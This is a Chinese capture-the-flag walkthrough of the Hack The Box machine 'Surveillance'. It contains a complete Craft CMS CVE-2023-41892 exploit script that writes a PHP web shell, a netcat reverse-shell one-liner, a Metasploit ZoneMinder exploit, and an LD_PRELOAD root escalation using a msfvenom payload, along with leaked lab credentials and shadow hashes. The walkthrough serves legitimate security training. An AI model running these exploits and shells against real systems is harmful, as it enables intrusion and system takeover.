基本信息

端口扫描

22和80:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ nmap -sC -sV 10.10.11.245
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-11 13:57 CST
Nmap scan report for 10.10.11.245
Host is up (0.25s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_ 256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://surveillance.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 113.47 seconds

80

需要加hosts:

1
10.10.11.245 surveillance.htb

一个家庭安防相关的,页面信息可以知道使用Craft CMS 4.4.14:

1
Powered by <a href="https://github.com/craftcms/cms/tree/4.4.14"/>Craft CMS</a>

Craft CMS

搜索可以发现相关漏洞:

exp有点小问题,无回显,代理流量到burp中根据请求响应稍微修改下代码即可:

1
2
3
4
5
6
7
第71行
from no value to <i>no value</i>

python3 exp.py http://surveillance.htb/

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.16.2 4444 >/tmp/f
python3 -c 'import pty;pty.spawn("/bin/bash")'

得到www-data shell,加载个reverse shell方便后续操作:

backups

然后常规枚举,发现一个sql备份,其中得到matthew hash:

1
2
3
4
5
6
7
8
9
www-data@surveillance:~/html/craft/storage/backups$ ls
ls
surveillance--2023-10-17-202801--v4.4.14.sql.zip

cp surveillance--2023-10-17-202801--v4.4.14.sql.zip /tmp
cd /tmp
unzip surveillance--2023-10-17-202801--v4.4.14.sql.zip
cat surveillance--2023-10-17-202801--v4.4.14.sql
INSERT INTO `users` VALUES (1,NULL,1,0,0,0,1,'admin','Matthew B','Matthew','B','admin@surveillance.htb','39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec','2023-10-17 20:22:34',NULL,NULL,NULL,'2023-10-11 18:58:57',NULL,1,NULL,NULL,NULL,0,'2023-10-17 20:27:46','2023-10-11 17:57:16','2023-10-17 20:27:46');

得到的hash可以直接扔在线得到对应明文,例如cmd5:

1
2
39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec
starcraft122490

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
import requests
import re
import sys

headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36"
}

def writePayloadToTempFile(documentRoot):

data = {
"action": "conditions/render",
"configObject[class]": "craft\elements\conditions\ElementCondition",
"config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"msl:/etc/passwd"}}}'
}

files = {
"image1": ("pwn1.msl", """<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="caption:&lt;?php @system(@$_REQUEST['cmd']); ?&gt;"/>
<write filename="info:DOCUMENTROOT/shell.php">
</image>""".replace("DOCUMENTROOT", documentRoot), "text/plain")
}

response = requests.post(url, headers=headers, data=data, files=files, proxies={"http": "http://localhost:8080"})

def getTmpUploadDirAndDocumentRoot():
data = {
"action": "conditions/render",
"configObject[class]": "craft\elements\conditions\ElementCondition",
"config": r'{"name":"configObject","as ":{"class":"\\GuzzleHttp\\Psr7\\FnStream", "__construct()":{"methods":{"close":"phpinfo"}}}}'
}

response = requests.post(url, headers=headers, data=data)

pattern1 = r'<tr><td class="e">upload_tmp_dir<\/td><td class="v">(.*?)<\/td><td class="v">(.*?)<\/td><\/tr>'
pattern2 = r'<tr><td class="e">\$_SERVER\[\'DOCUMENT_ROOT\'\]<\/td><td class="v">([^<]+)<\/td><\/tr>'

match1 = re.search(pattern1, response.text, re.DOTALL)
match2 = re.search(pattern2, response.text, re.DOTALL)
return match1.group(1), match2.group(1)

def trigerImagick(tmpDir):

data = {
"action": "conditions/render",
"configObject[class]": "craft\elements\conditions\ElementCondition",
"config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:' + tmpDir + r'/php*"}}}'
}
response = requests.post(url, headers=headers, data=data, proxies={"http": "http://127.0.0.1:8080"})

def shell(cmd):
response = requests.get(url + "/shell.php", params={"cmd": cmd})
match = re.search(r'caption:(.*?)CAPTION', response.text, re.DOTALL)

if match:
extracted_text = match.group(1).strip()
print(extracted_text)
else:
return None
return extracted_text

if __name__ == "__main__":
if(len(sys.argv) != 2):
print("Usage: python CVE-2023-41892.py <url>")
exit()
else:
url = sys.argv[1]
print("[-] Get temporary folder and document root ...")
upload_tmp_dir, documentRoot = getTmpUploadDirAndDocumentRoot()
tmpDir = "/tmp" if upload_tmp_dir == "<i>no value</i>" else upload_tmp_dir
print("[-] Write payload to temporary file ...")
try:
writePayloadToTempFile(documentRoot)
except requests.exceptions.ConnectionError as e:
print("[-] Crash the php process and write temp file successfully")

print("[-] Trigger imagick to write shell ...")
try:
trigerImagick(tmpDir)
except:
pass

print("[-] Done, enjoy the shell")
while True:
cmd = input("$ ")
shell(cmd)

user flag

matthew也是系统中用户,直接ssh使用这个密码登录:

1
2
ssh matthew@10.10.11.245
starcraft122490

zoneminder

查看端口可以发现本地的8080,转发出来查看,是一个ZoneMinder:

1
2
3
4
5
6
matthew@surveillance:~$ ss -tunlp
...
tcp LISTEN 0 511 127.0.0.1:8080 0.0.0.0:*
...

ssh -L 8888:127.0.0.1:8080 matthew@10.10.11.245

这个也可以搜到一个很新的漏洞:

msf一键,打到zoneminder:

1
2
3
4
5
exploit/unix/webapp/zoneminder_snapshots
set rhosts 127.0.0.1
set rport 8888
set lhost 10.10.16.2
set TARGETURI /

写公钥方便后续操作

提权信息

zoneminder用户sudo运行zm相关脚本:

检查这些脚本,可以发现例如zmdc会使用config中的ZM_LD_PRELOAD作为运行时的LD_PRELOAD,这是在数据库中定义的:

1
2
3
4
5
zoneminder@surveillance:~$ cat /usr/bin/zmdc.pl

if ( $Config{ZM_LD_PRELOAD} ) {
Debug("Adding ENV{LD_PRELOAD} = $Config{ZM_LD_PRELOAD}");
$ENV{LD_PRELOAD} = $Config{ZM_LD_PRELOAD};

另外可以在配置文件中找到数据库账号密码:

1
2
3
4
5
6
7
cat /etc/nginx/sites-enabled/zoneminder.conf
cd /usr/share/zoneminder/www
cat api/app/Config/database.php

'login' => 'zmuser',
'password' => 'ZoneMinderPassword2023',
'database' => 'zm',

验证数据库信息:

1
2
3
4
5
6
7
mysql -u zmuser -pZoneMinderPassword2023
MariaDB [(none)]> show databases;
MariaDB [(none)]> use zm;
MariaDB [zm]> show tables;
MariaDB [zm]> desc Config;
# 空值
MariaDB [zm]> select name,value from Config where name='ZM_LD_PRELOAD';

提权 & root flag

那么我们可以生成一个so,然后修改这个配置:

1
2
3
4
5
6
7
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.16.2 LPORT=4444  -f elf-so -o miao.so
chmod +x /tmp/miao.so

# 修改数据
MariaDB [zm]> update Config SET value = '/tmp/miao.so' where name = 'ZM_LD_PRELOAD';
# 验证修改成功
MariaDB [zm]> select name,value from Config where name='ZM_LD_PRELOAD';

然后去执行zmdc,触发加载执行so文件,得到root shell:

1
2
3
sudo /usr/bin/zmdc.pl startup
# 如果是已启动状态,先停止
sudo /usr/bin/zmdc.pl shutdown

shadow

1
2
3
root:$y$j9T$bVNsNlTFFqsWiO2JYT0ZH/$ZzxFCnolnSpcSfQxaWNtq3BDIRPIVU9X.dm/ACzRAl9:19651:0:99999:7:::
matthew:$y$j9T$oipsGfEBv1fcFV1uQ6Bl4.$44F4J5xtr2V4oN.zY0OB.8r3p1TllAlaMivft5R8o18:19647:0:99999:7:::
zoneminder:$y$j9T$.wNHpksMBEdFIQZZJTsDp/$r43uCJLrmfIgv4ZnMiyhMqykrru7aoPIuunhUrTTxp/:19647:0:99999:7:::

参考资料